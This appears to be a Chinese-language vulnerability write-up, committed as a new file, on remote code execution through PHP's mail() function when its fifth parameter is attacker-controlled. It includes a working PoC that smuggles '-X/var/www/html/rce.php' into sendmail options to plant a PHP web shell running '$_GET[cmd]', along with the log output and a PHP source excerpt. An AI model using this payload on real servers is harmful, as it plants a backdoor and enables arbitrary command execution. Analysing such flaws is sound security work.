|
| 1 | +php manual 手册上的介绍 |
| 2 | + |
| 3 | + bool mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) |
| 4 | + |
| 5 | +``` |
| 6 | +To 目的邮箱地址 |
| 7 | +Subject 邮箱的主题 |
| 8 | +Message 邮件的主题部分 |
| 9 | +Headers 头信息 |
| 10 | +Parameters 参数设置 |
| 11 | +``` |
| 12 | + |
| 13 | +``` |
| 14 | +<?php |
| 15 | + |
| 16 | +$subject = 'the subject'; |
| 17 | +$message = 'hello'; |
| 18 | +$headers = 'From: [email protected]' . "\r\n" . |
| 19 | + 'Reply-To: [email protected]' . "\r\n" . |
| 20 | + 'X-Mailer: PHP/' . phpversion(); |
| 21 | +
|
| 22 | +mail($to, $subject, $message, $headers); |
| 23 | +?> |
| 24 | +``` |
| 25 | + |
| 26 | +PHP中的mail()函数在一定的条件下可以造成远程代码执行漏洞,mail()函数一共具有5个参数,当第五个参数存在并且我们可控的时候,就会造成代码执行漏洞,这个漏洞最近被RIPS爆出了一个command execution via email in Roundcube 1.2.2,就是由于不正当的使用了mail()函数并且未对参数加以过滤造成的。 |
| 27 | + |
| 28 | + |
| 29 | + |
| 30 | +这个参数主要的选项有: |
| 31 | +``` |
| 32 | +-O option = value |
| 33 | +QueueDirectory = queuedir 选择队列消息 |
| 34 | +
|
| 35 | +-X logfile |
| 36 | +这个参数可以指定一个目录来记录发送邮件时的详细日志情况,我们正式利用这个参数来达到我们的目的。 |
| 37 | +
|
| 38 | +-f from email |
| 39 | +这个参数可以让我们指定我们发送邮件的邮箱地址。 |
| 40 | +``` |
| 41 | + |
| 42 | +现在我们尝试在本地复现出这个漏洞,注意事项: |
| 43 | + |
| 44 | +``` |
| 45 | +目标系统必须使用函数mail发送邮件,而不是使用SMTP的服务器; |
| 46 | +mail函数需要配置实用sendmail系统来进行邮件的发送; |
| 47 | +PHP配置中必须关闭safe_mode功能; |
| 48 | +必须知道目标服务器的Web根目录 |
| 49 | +``` |
| 50 | + |
| 51 | +test.php |
| 52 | + |
| 53 | +``` |
| 54 | + |
| 55 | +$subject = '<?php system($_GET["cmd"]); ?>'; |
| 56 | +$message = ''; |
| 57 | +$headers = ''; |
| 58 | +$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php'; |
| 59 | +mail($to, $subject, $message, $headers, $options); |
| 60 | +``` |
| 61 | + |
| 62 | +运行即可再/var/www/html/目录下生成rce.php文件,内容为: |
| 63 | + |
| 64 | +``` |
| 65 | + |
| 66 | +32512 <<< Subject: <?php system($_GET["cmd"]); ?> |
| 67 | +32512 <<< X-PHP-Originating-Script: 0:mail.php |
| 68 | +32512 <<< |
| 69 | +32512 <<< |
| 70 | +32512 <<< [EOF] |
| 71 | +32512 === CONNECT [127.0.0.1] |
| 72 | +32512 <<< 220 lj ESMTP Sendmail 8.15.2/8.15.2/Debian-3; Sun, 30 Sep 2018 16:32:30 +0800; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1] |
| 73 | +32512 >>> EHLO lj |
| 74 | +32512 <<< 250-lj Hello localhost [127.0.0.1], pleased to meet you |
| 75 | +32512 <<< 250-ENHANCEDSTATUSCODES |
| 76 | +32512 <<< 250-PIPELINING |
| 77 | +32512 <<< 250-EXPN |
| 78 | +32512 <<< 250-VERB |
| 79 | +32512 <<< 250-8BITMIME |
| 80 | +32512 <<< 250-SIZE |
| 81 | +32512 <<< 250-DSN |
| 82 | +32512 <<< 250-ETRN |
| 83 | +32512 <<< 250-AUTH DIGEST-MD5 CRAM-MD5 |
| 84 | +32512 <<< 250-DELIVERBY |
| 85 | +32512 <<< 250 HELP |
| 86 | +32512 >>> MAIL From:<root@lj> SIZE=89 AUTH=root@lj |
| 87 | +32512 <<< 250 2.1.0 <root@lj>... Sender ok |
| 88 | +32512 >>> RCPT To:<[email protected]> |
| 89 | +32512 >>> DATA |
| 90 | +32512 <<< 250 2.1.5 <[email protected]>... Recipient ok |
| 91 | +32512 <<< 354 Enter mail, end with "." on a line by itself |
| 92 | +32512 >>> Received: (from root@localhost) |
| 93 | +32512 >>> by lj (8.15.2/8.15.2/Submit) id w8U8WToP032512; |
| 94 | +32512 >>> Sun, 30 Sep 2018 16:32:29 +0800 |
| 95 | +32512 >>> Date: Sun, 30 Sep 2018 16:32:29 +0800 |
| 96 | +32512 >>> From: root <root@lj> |
| 97 | +32512 >>> Message-Id: <201809300832.w8U8WToP032512@lj> |
| 98 | + |
| 99 | +32512 >>> Subject: <?php system($_GET["cmd"]); ?> |
| 100 | +32512 >>> X-PHP-Originating-Script: 0:mail.php |
| 101 | +32512 >>> |
| 102 | +32512 >>> |
| 103 | +32512 >>> . |
| 104 | +32512 <<< 250 2.0.0 w8U8WUsh032770 Message accepted for delivery |
| 105 | +32512 >>> QUIT |
| 106 | +32512 <<< 221 2.0.0 lj closing connection |
| 107 | +``` |
| 108 | + |
| 109 | +我们指定好使用mail函数时的五个参数,在第二个参数中放入我们打算写入的内容,第五个参数中指定我们要写入的目录(必须是PHP文件) |
| 110 | + |
| 111 | +截取片段mail.c的源码 |
| 112 | +``` |
| 113 | +PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC) |
| 114 | +{ |
| 115 | +#if (defined PHP_WIN32 || defined NETWARE) |
| 116 | + int tsm_err; |
| 117 | + char *tsm_errmsg = NULL; |
| 118 | +#endif |
| 119 | + FILE *sendmail; |
| 120 | + int ret; |
| 121 | + char *sendmail_path = INI_STR("sendmail_path"); |
| 122 | + char *sendmail_cmd = NULL; |
| 123 | + char *mail_log = INI_STR("mail.log"); |
| 124 | + char *hdr = headers; |
| 125 | +#if PHP_SIGCHILD |
| 126 | + void (*sig_handler)() = NULL; |
| 127 | +#endif |
| 128 | +
|
| 129 | +... |
| 130 | +
|
| 131 | + if (extra_cmd != NULL) { |
| 132 | + spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); |
| 133 | + } else { |
| 134 | + sendmail_cmd = sendmail_path; |
| 135 | + } |
| 136 | +
|
| 137 | +... |
| 138 | +
|
| 139 | +#ifdef PHP_WIN32 |
| 140 | + sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); |
| 141 | +#else |
| 142 | + /* Since popen() doesn't indicate if the internal fork() doesn't work |
| 143 | + * (e.g. the shell can't be executed) we explicitly set it to 0 to be |
| 144 | + * sure we don't catch any older errno value. */ |
| 145 | + errno = 0; |
| 146 | + sendmail = popen(sendmail_cmd, "w"); |
| 147 | +#endif |
| 148 | + if (extra_cmd != NULL) { |
| 149 | + efree (sendmail_cmd); |
| 150 | + } |
| 151 | +``` |
| 152 | + |
| 153 | +我们可以看到mail函数的底层实际上是调用sendmail 函数来执行命令的。 |
| 154 | + |
| 155 | + |
| 156 | +PHPMailer < 5.2.18和Roundcube 两个应用都爆出来过mail函数导致的命令执行漏洞。 |
| 157 | + |
| 158 | +Roundcube 1.2.2 远程命令执行漏洞分析 https://paper.seebug.org/138/ |
0 commit comments